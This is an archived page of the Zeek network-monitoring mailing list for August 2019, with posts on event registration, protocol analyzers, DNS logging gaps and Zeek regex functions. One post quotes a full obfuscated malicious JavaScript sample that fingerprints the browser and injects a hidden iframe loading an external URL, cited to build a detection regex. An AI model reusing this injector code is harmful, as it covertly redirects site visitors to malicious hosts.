zeek August 2019

zeek@lists.zeek.org

32 participants
41 discussions

Zeek Week 2019 Agenda Now Available

by Amber Graner

Hi all, Most of the Zeek Week 2019 Agenda is now available at: http://bit.ly/zeekweek19agenda It's going to be a great line up with an Intro to Zeek Training workshop the day before. You have 3 participation options if you would like to attend: 1 - Workshop only (8 October) 2 - ZeekWeek Events Only (9-11 October) 3 - Workshop and ZeekWeek (8-11 October) You can choose your the option that is best for you when you register: http://bit.ly/zeekweek19_registration Hotel room rates are still at the event rate for a little while longer and registration prices will go up at then end of the month so don't wait, register today. Please let me know if you have any questions and I hope to see you in Seattle on 8-11 October, 2019. Thanks, ~Amber -- *Amber Graner* Director of Community Corelight, Inc 828.582.9469 * Ask me about how you can participate in the Zeek (formerly Bro) community. * Remember - ZEEK AND YOU SHALL FIND!!

1 year, 9 months

HTTP/2 analyzer

by Eric Ooi

Has anyone tried the HTTP/2 analyzer from MITRE?: https://github.com/MITRECND/bro-http2 I've installed it but it doesn't seem to generate any http2.log files. I have a Palo Alto firewall performing decryption and mirroring this decrypted traffic to my Zeek sensor. Zeek has no issue analyzing the decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic show up which is what the majority of my decrypted traffic seems to be. Curious if anyone else has tried this or if the developers of the plugin are on the list for me to bug. :P Thanks! Eric

1 year, 9 months

Problems with Zeek regex - same pattern working on RegExr

by Jonah Burgess

Hi, Been trying to get a piece of regex to work with Zeek for a couple of days, I am trying to extract the following string: yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy'; From the following block of text: jigsr='navigator';coon3='document';tiltu=window;prod8=tiltu[coon3];tensg=tiltu[jigsr];var wnd=window;yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';var doc=wnd.document;OEkQahbGTK=yDGNWQPxJVs;function setCookie(name,value,expires){doc.cookie=name+'='+escape(value)+"; expires="+expires.toGMTString()+"; path=/";return;}function getCookie(name){var cookie=' '+doc.cookie;var search=' '+name+'=';var setStr=null;var offset = 0;var end = 0;if (cookie.length > 0) {offset = cookie.indexOf(search);if (offset != -1) {offset += search.length;end = cookie.indexOf(';', offset);if (end == -1) {end = cookie.length;}setStr = wnd.unescape(cookie.substring(offset, end));}}return setStr;}function UslhyuLiAkJ(){if(!getCookie("BFQPubsjgY")){var expires=new Date();expires.setTime(expires.getTime()+0x5265c00);setCookie("BFQPubsjgY",'6efa5b267ee02fc3e86fc6422fd62e2b',expires);return true}else{return false}}function AjheiSHvrOq(j7r){var w9,f5h,av,l1;l1='onload';av='addEventListener';f5h='attachEvent';w9='DOMContentLoaded';prod8[av]?prod8[av](w9,j7r):window[f5h](l1,j7r)}function jWpkbYMLKS(){var qy;qy='userAgent';return tensg[qy]}function RTANcyPJq(y0l,np1){var p7;p7='test';return y0l[p7](np1)}function hDGVdQzyACP(){var fq;fq=jWpkbYMLKS();return RTANcyPJq(/Win64;/i,fq)||RTANcyPJq(/x64;/i,fq)}function XxIbmUNTRD(){var ai,be;be=(/Trident/i);ai=jWpkbYMLKS();if(!RTANcyPJq(be,ai)){return 0}else{return true}}function YSUTWLtuoX(){var jq6,u0u,l2,hn,r7c,qt7,y1,nmv,fa,bv,ag,cun,zu5,pqe;bv='posi'+'tion:absolut'+'e;left:-15'+'23px;t'+'op:-153'+'7px';nmv='src';y1='iframe';u0u='cssText';l2='getElementsByTagName';cun='body';qt7='width';fa='height';pqe='appendChild';hn='createElement';r7c='style';ag='10';if(UslhyuLiAkJ()&&XxIbmUNTRD()&&!hDGVdQzyACP()){jq6=ag;zu5=prod8[hn](y1);zu5[qt7]=jq6;zu5[fa]=jq6;zu5[r7c][u0u]=bv;zu5[nmv]=OEkQahbGTK;prod8[l2](cun)[0][pqe](zu5)}}AjheiSHvrOq(YSUTWLtuoX); On https://regexr.com/ I use the regex: [\d\w]+[\s]*\=[\s]*((\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+([\s]|\+)+)+(\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+\;? This correctly identifies the string. I’m now trying to get this same regex pattern to work in zeek, I converted the syntax as follows: local concat = find_all(data, /[:alnum:]+[:space:]*\=[:space:]*((\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+([:space:]|\+)+)+(\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+\;?/i); Unfortunately, this is not matching and I can’t understand why not. Logically, it is exactly the same as the regex pattern I’ve tested on RegExr. It’s a long shot but if anyone can spot what I’m doing wrong, please let me know 😊 Thanks, Jonah

1 year, 9 months

Problem with ARP bro analyzer

by Michael Gez

Hi all, I've been making use of this script i found online to generate ARP logs: https://gist.github.com/grigorescu/a28b814a8fb626e2a7b4715d278198aa As i've been testing the script i noticed sometimes the PCAPs have lines that the script can't process, and I get these lines as output: 1550819487.247128 expression error in /usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no such index (ARP::arp_states[ARP::THA]) 1550819487.247129 expression error in /usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no such index (ARP::arp_states[ARP::THA]) 1550819487.750980 expression error in /usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no such index (ARP::arp_states[ARP::THA]) 1550819487.750981 expression error in /usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no such index (ARP::arp_states[ARP::THA]) 1550819489.150965 expression error in /usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no such index (ARP::arp_states[ARP::THA]) 1550819489.150966 expression error in /usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no such index (ARP::arp_states[ARP::THA]) This is an example packet that causes this type of behavior: https://packettotal.com/app/analysis?id=ccdd36227128010cf7e85f6a452fabbd If anyone has any idea how to correct this behavior, any help would be appreciated. Thank you.

1 year, 9 months

Unreliable results when replaying PCAPs

by Jonah Burgess

Hi, I’m replaying PCAPs through Zeek and using the HTTP building up maps of URL redirection chains. I wrote a script which uses bodies.bro to resassemble HTTP bodies and then I use regex to scan for possible HTML/JavaScript/iFrame-based redirections. Now that I have test cases for 400+ PCAPs I’ve identified that Zeek will sometimes fail to resassemble the HTTP body correctly, so regex won’t extract the redirection code.. For some PCAPs this happens ~50% of the time, for others ~10% of the time.. For the majority of PCAPs, this doesn’t occur at all. If anybody has any ideas what could be causing the inconsistencies, please let me know! Since the PCAPs remain the same between execution attempts, I can’t understand why the results would vary like this. Thanks, Jonah

1 year, 9 months

Long session detection script available in zeek ?

by ps sunu

Any Long session detection script available in zeek ? Regards, Sunu

1 year, 9 months

Zeek/Bro DNS log missing type

by Michael Gez

Hi all, I am using Zeek to run a PCAP and then parsing/processing the generated logs to make sense of the traffic. The issue I’m having is with the DNS parser. It is not always producing what I’m expecting it to. In particular, it doesn’t always parse the type from the DNS traffic PCAP, which is one of the markers my code looks for. If I look using Wireshark with the same PCAP I see that the type “A” is present, as I would expect it to be. However, the resulting Zeek dns.log is missing that field in particular. I need Zeek to parse this type field out so I know to look into the domain visited to make sure it is legitimate. Are there any known issues with the DNS parser, or any known solutions to this particular problem? Here is an example generated by navigating to a webpage 1565970799.068532 CK9bYM3SGJHwpPNW12 192.168.100.3 19024 192.168.100.1 53 udp 10896 - rl.ammyy.com - - - - 0 NOERROR F F F T 0 188.42.129.148 278.000000 F To the best of my understanding, the field which is marked empty "-“, 2 fields prior to NOERROR field should be “A”. This works for other instances of traffic I can find in PCAPs from the internet, but not from the ones generated by me capturing local traffic while navigating to the website. Thank you! P.S. if I left out any important information please let me know so I can include it, I’m still new to the IDS

1 year, 10 months

Re: [Zeek] Some issues with find_all_urls() function

by Jonah Burgess

Thanks, I think that’s just what I was looking for with the regex variables. Does that mean I need to add ‘i’ after each of the concatenated patterns for it to be case insensitive? e.g. q = /[\‘\’\'\"\s]*(?:&quot|')*/i q* & /test/i & q & /test2/i & q & /test3/i The string_to_pattern function will be very handy too ?? Regarding my last message, I realised I can also use find_all instead of match_pattern to find all occurances so that’s awesome. Thanks, Jonah From: Jon Siwek<mailto:jsiwek@corelight.com> Sent: 14 August 2019 20:25 To: Jonah Burgess<mailto:jburgess03@qub.ac.uk> Subject: Re: [Zeek] Some issues with find_all_urls() function On Tue, Aug 13, 2019 at 5:25 PM Jonah Burgess <jburgess03(a)qub.ac.uk> wrote: > > Regarding question 4 I think the concatenation would still take my literal string so I couldn’t store it in a variable e.g. I’d have to do: > > /[\‘\’\'\"\s]*(?:&quot|')*/ & /test/ & /[\‘\’\'\"\s]*(?:&quot|')*/ & /test2/ & /[\‘\’\'\"\s]*(?:&quot|')*/ > > Instead of: > > q = r"[\‘\’\'\"\s]*(?:&quot|')*" > > /q*/ & /test/ & /q*/ & /test2/ & /q*/ You can't use the variable directly inside the regex within the '/' delimiters, but you can just use the variable itself to do simple concatenations: local q = /something/; local r = q & /another thing/; It's true that it's not as flexible as being able to expand the variable within the regex itself, but still may help for cases where you just repeat the same pattern text multiple times. > Currently I am using match_pattern() to extract different blocks of text and then at the end, I want to search the remaining text. Any idea how I can do this efficiently (without having to re-search the already extracted and searched blocks)? Maybe see something like this to iterate over an input string and then just modify that input string to chop off everything up-to-and-including the first match: local input_string = "foobar and foo bar and foo ..."; while ( T ) { print fmt("matching input string: '%s'", input_string); local res = match_pattern(input_string, /foo/); if ( ! res$matched ) break; print fmt("match at offset %d: '%s'", res$off, res$str); input_string = input_string[(res$off - 1 + |res$str|):]; } print fmt("remaining: '%s'", input_string); > This kind of relates to my last issue; if I were able to convert a string to pattern, then I would just call the sub() function on the original block of text (subbing out each of the pattern matches I retrieved from the earlier blocks of text). Can you convert a string to a pattern? There's the `string_to_pattern` function: https://docs.zeek.org/en/stable/scripts/base/bif/bro.bif.bro.html#id-string… (Ignore the note there that it must be called at startup time, that documentation is outdated). I'd probably use the other iteration code I gave above, though rather than create patterns like this. - Jon

1 year, 10 months

Re: [Zeek] Regex - Can you return the matched pattern using sub?

by Jonah Burgess

Furthermore, is there an alternative to match_pattern that returns all matches for a pattern? It would probably help if I could more better documentation about regex functions in Zeek.. I have this: https://docs.zeek.org/en/stable/scripts/base/utils/patterns.bro.html but if anybody could recommend more resources it would be appreciated. Thanks, Jonah From: Jonah Burgess<mailto:jburgess03@qub.ac.uk> Sent: 14 August 2019 12:20 To: zeek(a)zeek.org<mailto:zeek@zeek.org> Subject: [Zeek] Regex - Can you return the matched pattern using sub? Hi, Can I replace a pattern in a string with “” but also return the matched pattern? Basically I am extracting different blocks of text from a string using match_pattern() but then at the end, I want to search all the remaining text (minus the blocks that were already extracted). I tried simply calling gsub(data, pattern, “”) just after calling block[n] = match_pattern(data, pattern) but this didn’t seem to benefit performance at all. I’m sure there must be a better way :/ Thanks in Advance, Jonah

1 year, 10 months

Removal of multiple input sources?

by Tim Wojtulewicz

We’re currently considering a rewrite of the existing main IO loop in Zeek (see https://github.com/zeek/zeek/issues/264 <https://github.com/zeek/zeek/issues/264> for more detail). As part of this work, we’re planning to remove the ability for a single Zeek process to handle multiple input sources (either interface or pcap) simultaneously, since it would simplify the code somewhat. The case of multiple interfaces is already handled by running multiple workers. Is anyone actively using the multiple pcap functionality that would be broken by this change? Tim @ Corelight

1 year, 10 months

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

2001

2000

1999

1998

zeek August 2019